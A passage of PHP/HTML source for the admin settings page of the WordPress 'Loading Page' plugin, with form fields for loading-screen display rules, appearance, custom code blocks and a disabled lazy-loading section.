										jQuery('[name="lp_screen_size"]').on('change',function() {
											jQuery('#lp_width_container')[(this.value == 'all') ? 'hide' : 'show']();
										})
									</script>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Display the loading screen', 'loading-page' ); ?></th>
								<td>
									<?php
									if (
										! isset( $loading_page_options['once_per_session'] ) ||
										false === $loading_page_options['once_per_session']
									) {
										$loading_page_options['once_per_session'] = 'always';
									} elseif ( true === $loading_page_options['once_per_session'] ) {
										$loading_page_options['once_per_session'] = 'site';
									}
									?>
									<input aria-label="<?php esc_attr_e( 'Always', 'loading-page' ); ?>" type="radio" value="always" name="once_per_session" <?php echo ( ( 'always' === $loading_page_options['once_per_session'] ) ? 'CHECKED' : '' ); ?> /> <span><?php esc_html_e( 'always', 'loading-page' ); ?></span><br />
									<input aria-label="<?php esc_attr_e( 'Once per session', 'loading-page' ); ?>" type="radio" value="site" name="once_per_session" <?php echo ( ( 'site' === $loading_page_options['once_per_session'] ) ? 'CHECKED' : '' ); ?> /> <span><?php esc_html_e( 'once per session', 'loading-page' ); ?></span><br />
									<input aria-label="<?php esc_attr_e( 'Once per page', 'loading-page' ); ?>" type="radio" value="page" name="once_per_session" <?php echo ( ( 'page' === $loading_page_options['once_per_session'] ) ? 'CHECKED' : '' ); ?> /> <span><?php esc_html_e( 'once per page', 'loading-page' ); ?></span>

								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Display loading screen in', 'loading-page' ); ?></th>
								<td>
									<div style="margin-bottom:10px;"><input aria-label="<?php esc_attr_e( 'Homepage', 'loading-page' ); ?>" type="radio" name="lp_loading_screen_display_in" value="home" <?php echo ( ( isset( $loading_page_options['lp_loading_screen_display_in'] ) && 'home' === $loading_page_options['lp_loading_screen_display_in'] ) ? 'CHECKED' : '' ); ?> /> <?php esc_html_e( 'homepage only', 'loading-page' ); ?></div>

									<div style="margin-bottom:10px;"><input aria-label="<?php esc_attr_e( 'All pages', 'loading-page' ); ?>" type="radio" name="lp_loading_screen_display_in" value="all" <?php echo ( ( isset( $loading_page_options['lp_loading_screen_display_in'] ) && 'all' === $loading_page_options['lp_loading_screen_display_in'] ) ? 'CHECKED' : '' ); ?> /> <?php esc_html_e( 'all pages', 'loading-page' ); ?>

										<div style="margin-left:20px;margin-top:10px;">
											<?php esc_html_e( 'Display the loading screen only on pages with the URLs (If this field is left empty, the loading screen will be displayed on all pages.)', 'loading-page' ); ?>
											<textarea aria-label="<?php esc_attr_e( 'URLs of the pages to include', 'loading-page' ); ?>" name="lp_loading_screen_include_from_urls" style="width:100%" rows="6"><?php
																																																					print esc_textarea(
																																																						( ! empty( $loading_page_options['lp_loading_screen_include_from_urls'] ) )
																																																							? implode( "\n", $loading_page_options['lp_loading_screen_include_from_urls'] ) : ''
																																																					);
																?></textarea>
											<i><?php esc_html_e( 'Enter a URL per row (use the * symbol as wildcard)', 'loading-page' ); ?></i>
										</div>
									</div>

									<div style="margin-bottom:20px;"><input aria-label="<?php esc_attr_e( 'Specific pages', 'loading-page' ); ?>" type="radio" name="lp_loading_screen_display_in" value="pages" <?php echo ( ( isset( $loading_page_options['lp_loading_screen_display_in'] ) && 'pages' === $loading_page_options['lp_loading_screen_display_in'] ) ? 'CHECKED' : '' ); ?> /> <?php esc_html_e( 'specific pages', 'loading-page' ); ?>
										<div style="margin-left:20px;margin-top:10px;">
											<input aria-label="<?php esc_attr_e( 'Pages/posts ids', 'loading-page' ); ?>" type="text" name="lp_loading_screen_display_in_pages" value="<?php
											if ( ! empty( $loading_page_options['lp_loading_screen_display_in_pages'] ) ) {
												print esc_attr( $loading_page_options['lp_loading_screen_display_in_pages'] );}
											?>" style="width:100%;">
											<i><?php esc_html_e( 'Type one, or more post/pages IDs, separated by commas ","', 'loading-page' ); ?></i>
										</div>
									</div>

									<div style="margin-bottom:20px;"><input aria-label="<?php esc_attr_e( 'specific post types', 'loading-page' ); ?>" type="radio" name="lp_loading_screen_display_in" value="post_type" <?php echo ( ( isset( $loading_page_options['lp_loading_screen_display_in'] ) && 'post_type' === $loading_page_options['lp_loading_screen_display_in'] ) ? 'CHECKED' : '' ); ?> /> <?php esc_html_e( 'specific post types', 'loading-page' ); ?>
										<div style="margin-left:20px;margin-top:10px;">
											<input aria-label="<?php esc_attr_e( 'Post types', 'loading-page' ); ?>" type="text" name="lp_loading_screen_display_post_types" value="<?php
											if ( ! empty( $loading_page_options['lp_loading_screen_display_post_types'] ) ) {
												print esc_attr( $loading_page_options['lp_loading_screen_display_post_types'] );}
											?>" style="width:100%;">
											<i><?php esc_html_e( 'Type one or more post types, separated by commas ","', 'loading-page' ); ?></i>
										</div>
									</div>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Devices', 'loading-page' ); ?></th>
								<td>
									<label><input aria-label="<?php esc_attr_e( 'Display the loading screen only on the desktop', 'loading-page' ); ?>" type="radio" name="lp_loading_screen_devices" value="desktop" <?php
									if ( ! empty( $loading_page_options['lp_loading_screen_devices'] ) && 'desktop' == $loading_page_options['lp_loading_screen_devices'] ) {
										print 'CHECKED';}
									?>> <?php esc_html_e( 'Display the loading screen only on desktops', 'loading-page' ); ?></label><br>
									<label><input aria-label="<?php esc_attr_e( 'Display the loading screen only on mobiles', 'loading-page' ); ?>" type="radio" name="lp_loading_screen_devices" value="mobile" <?php
									if ( ! empty( $loading_page_options['lp_loading_screen_devices'] ) && 'mobile' == $loading_page_options['lp_loading_screen_devices'] ) {
										print 'CHECKED';}
									?>> <?php esc_html_e( 'Display the loading screen only on mobiles', 'loading-page' ); ?></label><br>
									<label><input aria-label="<?php esc_attr_e( 'Display the loading screen on both desktops and mobiles', 'loading-page' ); ?>" type="radio" name="lp_loading_screen_devices" value="both" <?php
									if ( empty( $loading_page_options['lp_loading_screen_devices'] ) || 'both' == $loading_page_options['lp_loading_screen_devices'] ) {
										print 'CHECKED';}
									?>> <?php esc_html_e( 'Display the loading screen on both desktops and mobiles', 'loading-page' ); ?></label><br>
								</td>
							</tr>
							<tr>
								<td colspan="2">
									<hr />
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Exclude loading screen from', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Pages/posts ids separated by comma', 'loading-page' ); ?>" type="text" name="lp_loading_screen_exclude_from_pages" value="<?php
								if ( ! empty( $loading_page_options['lp_loading_screen_exclude_from_pages'] ) ) {
									print esc_attr( $loading_page_options['lp_loading_screen_exclude_from_pages'] );}
								?>"> <i><?php esc_html_e( 'Type one, or more post/pages IDs, separated by commas ","', 'loading-page' ); ?></i></td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Exclude loading screen from post types', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Post types separated by comma', 'loading-page' ); ?>" type="text" name="lp_loading_screen_exclude_from_post_types" value="<?php
								if ( ! empty( $loading_page_options['lp_loading_screen_exclude_from_post_types'] ) ) {
									print esc_attr( $loading_page_options['lp_loading_screen_exclude_from_post_types'] );}
								?>"> <i><?php esc_html_e( 'Type one, or more post/pages types, separated by commas ","', 'loading-page' ); ?></i></td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Exclude loading screen from pages with the URL', 'loading-page' ); ?></th>
								<td><textarea aria-label="<?php esc_attr_e( 'URLs of the pages to exclude', 'loading-page' ); ?>" name="lp_loading_screen_exclude_from_urls" style="width:100%" rows="6"><?php
																																																				print esc_textarea(
																																																					( ! empty( $loading_page_options['lp_loading_screen_exclude_from_urls'] ) )
																																																						? implode( "\n", $loading_page_options['lp_loading_screen_exclude_from_urls'] ) : ''
																																																				);
															?></textarea>
									<i><?php esc_html_e( 'Enter a URL per row (use the * symbol as wildcard)', 'loading-page' ); ?></i>
								</td>
							</tr>
							<tr>
								<th colspan="2">
									<?php esc_html_e( 'Exclude the loading screen if Elementor Maintenance or Coming Soon modes are enabled', 'loading-page' ); ?>
									<input aria-label="<?php esc_attr_e( 'Disable the loading screen from Coming Soon or Maintenance modes', 'loading-page' ); ?>" type="checkbox" name="lp_loading_screen_exclude_from_elementor_maintenance" <?php echo ( ( ! empty( $loading_page_options['lp_loading_screen_exclude_from_elementor_maintenance'] ) ) ? 'CHECKED' : '' ); ?> />
								</th>
							</tr>
							<tr>
								<td colspan="2">
									<hr />
								</td>
							</tr>
							<tr>
								<?php $loading_screens = loading_page_get_screen_list(); ?>
								<th><?php esc_html_e( 'Select the loading screen', 'loading-page' ); ?></th>
								<td>
									<select aria-label="<?php esc_attr_e( 'Loading screen', 'loading-page' ); ?>" name="lp_loading_screen">
										<?php
										foreach ( $loading_screens as $screen ) {
											print '<option value="' . esc_attr( $screen['id'] ) . '" ' . ( ( isset( $loading_page_options['loading_screen'] ) && $loading_page_options['loading_screen'] === $screen['id'] ) ? 'SELECTED' : '' ) . ' title="' . ( ( ! empty( $screen['tips'] ) ) ? esc_attr( $screen['tips'] ) : '' ) . '" >' . esc_html( $screen['name'] ) . '</option>';
										}
										?>
									</select>
									<span class="lp-upgrade-message">
										<?php
											esc_html_e( 'The free version of the plugin includes the "Bar", "Logo", and "Text" screens. If they are not sufficient to your website, the commercial version of the plugin includes additional loading screens.', 'loading-page' );
										?> <a href="http://wordpress.dwbooster.com/content-tools/loading-page" target="_blank"><?php esc_html_e( 'CLICK HERE', 'loading-page' ); ?></a>
									</span>
								</td>
							</tr>
							<?php
							foreach ( $loading_screens as $screen ) {
								if ( ! empty( $screen['adminsection'] ) ) {
									include_once $screen['adminsection'];
								}
								if ( ! empty( $screen['adminscript'] ) ) {
									wp_enqueue_script( $screen['adminscript'], $screen['adminscript'], array(), 'free-1.1.18', true );
								}
							}
							?>
							<tr>
								<th><?php esc_html_e( 'Select foreground color', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Foreground color', 'loading-page' ); ?>" type="text" name="lp_foregroundColor" id="lp_foregroundColor" value="<?php
								if ( isset( $loading_page_options['foregroundColor'] ) ) {
									print( esc_attr( $loading_page_options['foregroundColor'] ) );}
								?>" />
									<div id="lp_foregroundColor_picker"></div>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Select background color', 'loading-page' ); ?></th>
								<td>
									<input aria-label="<?php esc_attr_e( 'Background color', 'loading-page' ); ?>" type="text" name="lp_backgroundColor" id="lp_backgroundColor" value="<?php
									if ( isset( $loading_page_options['backgroundColor'] ) ) {
										print( esc_attr( $loading_page_options['backgroundColor'] ) );}
									?>" />
									<input aria-label="<?php esc_attr_e( 'Apply transparency', 'loading-page' ); ?>" type="checkbox" name="lp_backgroundTransparency" <?php print ( ! isset( $loading_page_options['transparency'] ) || $loading_page_options['transparency'] ) ? 'CHECKED' : ''; ?> /><?php esc_html_e( 'Apply transparency', 'loading-page' ); ?>
									<div id="lp_backgroundColor_picker"></div>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Select image as background', 'loading-page' ); ?></th>
								<td>
									<input aria-label="<?php esc_attr_e( 'Background image', 'loading-page' ); ?>" type="text" name="lp_backgroundImage" id="lp_backgroundImage" value="<?php
									if ( isset( $loading_page_options['backgroundImage'] ) ) {
										print( esc_attr( $loading_page_options['backgroundImage'] ) );}
									?>" />
									<input type="button" value="Browse" onclick="loading_page_selected_image('lp_backgroundImage');" />
									<select aria-label="<?php esc_attr_e( 'Background position', 'loading-page' ); ?>" id="lp_backgroundRepeat" name="lp_backgroundRepeat">
										<option value="repeat"
										<?php
										if ( isset( $loading_page_options['backgroundImageRepeat'] ) && 'repeat' === $loading_page_options['backgroundImageRepeat'] ) {
											echo 'SELECTED';}
										?>
										>Tile</option>
										<option value="no-repeat"
										<?php
										if ( isset( $loading_page_options['backgroundImageRepeat'] ) && 'no-repeat' === $loading_page_options['backgroundImageRepeat'] ) {
											echo 'SELECTED';}
										?>
										>Center</option>
									</select>

								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Display image in fullscreen', 'loading-page' ); ?></th>
								<td>
									<input aria-label="<?php esc_attr_e( 'Fullscreen', 'loading-page' ); ?>" type="checkbox" name="lp_fullscreen" id="lp_fullscreen" <?php echo ( ( isset( $loading_page_options['fullscreen'] ) && $loading_page_options['fullscreen'] ) ? 'CHECKED' : '' ); ?> />
									<i><?php esc_html_e( '(The fullscreen attribute can fail in some browsers)', 'loading-page' ); ?></i>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Additional seconds', 'loading-page' ); ?></th>
								<td>
									<input aria-label="<?php esc_attr_e( 'Additional seconds', 'loading-page' ); ?>" type="text" name="lp_additionalSeconds" id="lp_additionalSeconds" value="<?php
									if ( isset( $loading_page_options['additionalSeconds'] ) ) {
										print( esc_attr( $loading_page_options['additionalSeconds'] ) );}
									?>" />
									<i><?php esc_html_e( 'Show the loading screen some few seconds after loading the page', 'loading-page' ); ?></i>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Include an ad, or your own block of code', 'loading-page' ); ?></th>
								<td>
									<textarea aria-label="<?php esc_attr_e( 'Ad or block of code', 'loading-page' ); ?>" name="lp_codeBlock" id="lp_codeBlock" rows="6" style="width:80%;"><?php
									if ( isset( $loading_page_options['codeBlock'] ) ) {
										print( esc_textarea( $loading_page_options['codeBlock'] ) );}
									?></textarea>
									<p><i><b><?php esc_html_e( 'Trick', 'loading-page' ); ?></b>:
											<?php esc_html_e( 'As the block of code you can insert a pair of &lt;style&gt;&lt;/style&gt; tags to customize the appearance of loading screen. For example: for changing the font-family of the loading text:  <b>&lt;style&gt;.lp-screen-text{font-family:Georgia !important;}&lt;/style&gt;</b>', 'loading-page' ); ?></i></p>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Apply the effect on page', 'loading-page' ); ?></th>
								<td>
									<select aria-label="<?php esc_attr_e( 'Animation effect', 'loading-page' ); ?>" name="lp_pageEffect">
										<?php
										$page_effects = array( 'none', 'rotateInLeft' );

										foreach ( $page_effects as $value ) {
											print '<option value="' . esc_attr( $value ) . '" ' . ( ( isset( $loading_page_options['pageEffect'] ) && $loading_page_options['pageEffect'] === $value ) ? 'SELECTED' : '' ) . '>' . esc_html( $value ) . '</option>';
										}
										?>

									</select>
									<div class="lp-upgrade-message"><?php esc_html_e( 'The premium version of plugin add the following effects: collapseIn, risingFromBottom, expandIn, fadeIn, fallFromTop, rotateInLeft, rotateInRight, rotateInRightWithoutToKeyframe, slideInSkew, tumbleIn, whirlIn.', 'loading-page' ); ?><br><a href="http://wordpress.dwbooster.com/content-tools/loading-page" target="_blank"><?php esc_html_e( 'CLICK HERE',  'loading-page'); ?></a></div>
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Display loading percent', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Display loading percent', 'loading-page' ); ?>" type="checkbox" name="lp_displayPercent" <?php echo ( ( ! empty( $loading_page_options['displayPercent'] ) ) ? 'CHECKED' : '' ); ?> /></td>
							</tr>
						</table>
						<div style="border: 1px solid #DADADA; padding:10px;">
							<h3><?php esc_html_e( 'Troubleshoot Area - Loading Screen', 'loading-page' ); ?></h3>
							<table class="form-table">
								<tr>
									<th><?php esc_html_e( 'Disable the search in deep', 'loading-page' ); ?></th>
									<td>
										<input aria-label="<?php esc_attr_e( 'Disable search in deep', 'loading-page' ); ?>" type="checkbox" name="lp_deactivateDeepSearch" <?php echo ( ( empty( $loading_page_options['deepSearch'] ) ) ? 'CHECKED' : '' ); ?> /> <i><?php esc_html_e( 'If the loading screen stops in some percentage, tick the checkbox', 'loading-page' ); ?></i>
									</td>
								</tr>
								<tr>
									<th><?php esc_html_e( 'The pages\' background is visible', 'loading-page' ); ?></th>
									<td>
										<input aria-label="<?php esc_attr_e( 'Tick if page visible', 'loading-page' ); ?>" type="checkbox" name="lp_modifyDisplayRule" <?php echo ( ( ! empty( $loading_page_options['modifyDisplayRule'] ) ) ? 'CHECKED' : '' ); ?> /> <i><?php esc_html_e( 'If website\'s background is visible before the loading screen, tick the checkbox', 'loading-page' ); ?></i>
									</td>
								</tr>
								<tr>
									<td colspan="2" style="padding-left:0;">
										<?php esc_html_e( 'You have ticked the box "show loading screen on link click", but the loading screen disappears too quickly, before loading the content of the next page.', 'loading-page' ); ?><br /><br />
										<input aria-label="<?php esc_attr_e( 'Loading screen disappear too quickly', 'loading-page' ); ?>" type="checkbox" name="lp_triggerLinkScreenNeverClose" <?php echo ( ( ! empty( $loading_page_options['triggerLinkScreenNeverClose'] ) ) ? 'CHECKED' : '' ); ?>/> <?php esc_html_e( 'Do not hide the loading screen', 'loading-page' ); ?>&nbsp;
										<?php esc_html_e( '- or close after ', 'loading-page' ); ?>&nbsp;
										<input type="number" name="lp_triggerLinkScreenCloseAfter" aria-label="<?php esc_attr_e( 'Close after X seconds', 'loading-page' ); ?>" value="<?php print esc_attr( isset( $loading_page_options['triggerLinkScreenCloseAfter'] ) ? $loading_page_options['triggerLinkScreenCloseAfter'] : 4 ); ?>" />&nbsp;
										<?php esc_html_e( 'seconds', 'loading-page' ); ?>
									</td>
								</tr>
							</table>
						</div>
					</div>
				</div>
				<div class="postbox">
					<h3 class='hndle' style="padding:5px;"><span><?php esc_html_e( 'Lazy Loading', 'loading-page' ); ?></span></h3>
					<div class="inside">
						<p>
						<?php
							esc_html_e(
								'To load only the images visible in the viewport to improve the loading rate of your website and reduce the bandwidth consumption.',
								'loading-page'
							);
						?>
						</p>
						<p class="lp-upgrade-message">
							<?php esc_html_e( 'The lazy loading of images is available only in the commercial version of plugin.', 'loading-page' ); ?> <a href="http://wordpress.dwbooster.com/content-tools/loading-page" target="_blank"><?php esc_html_e( 'CLICK HERE', 'loading-page' ); ?></a>
						</p>
						<p><img alt="<?php esc_attr_e( 'Lazy loading chart', 'loading-page' ); ?>" src="<?php print( esc_attr( LOADING_PAGE_PLUGIN_URL . '/images/consumption_graph.png' ) ); ?>" style="max-width:100%;" /></p>
						<table class="form-table">
							<tr>
								<th><?php esc_html_e( 'Enable lazy loading', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Enable lazy loading', 'loading-page' ); ?>" type="checkbox" DISABLED /></td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Select the image to load by default', 'loading-page' ); ?></th>
								<td>
									<input aria-label="<?php esc_attr_e( 'Image to load by default', 'loading-page' ); ?>" type="text" DISABLED /><input type="button" value="Browse" DISABLED />
								</td>
							</tr>
							<tr>
								<th><?php esc_html_e( 'Exclude lazy loading from', 'loading-page' ); ?></th>
								<td><input aria-label="<?php esc_attr_e( 'Pages/posts ids separated by comma', 'loading-page' ); ?>" type="text" DISABLED /> <i><?php esc_html_e( 'Type one, or more post/pages IDs, separated by commas ","', 'loading-page' ); ?></i></td>
							</tr>
						</table>
						<div style="border: 1px solid #DADADA; padding:10px;">
							<h3><?php esc_html_e( 'Troubleshoot Area - Lazy Loading', 'loading-page' ); ?></h3>
							<table class="form-table">
								<tr>
									<th><?php esc_html_e( 'Exclude images whose tag includes the class or attribute', 'loading-page' ); ?></th>
									<td>
										<input aria-label="<?php esc_attr_e( 'Class or attributes names', 'loading-page' ); ?>" type="text" style="width:100%;" disabled /><br />
										<p><i><?php esc_html_e( 'Don\'t apply the lazy loading to the images with the classes or attributes (separated by commas ",")', 'loading-page' ); ?></i></p>
									</td>
								</tr>
							</table>
						</div>
					</div>
				</div>
				<div><input type="submit" value="Update Settings" class="button-primary" /></div>
			</form>
		</div>
		<?php
	} // End loading_page_settings_page.
}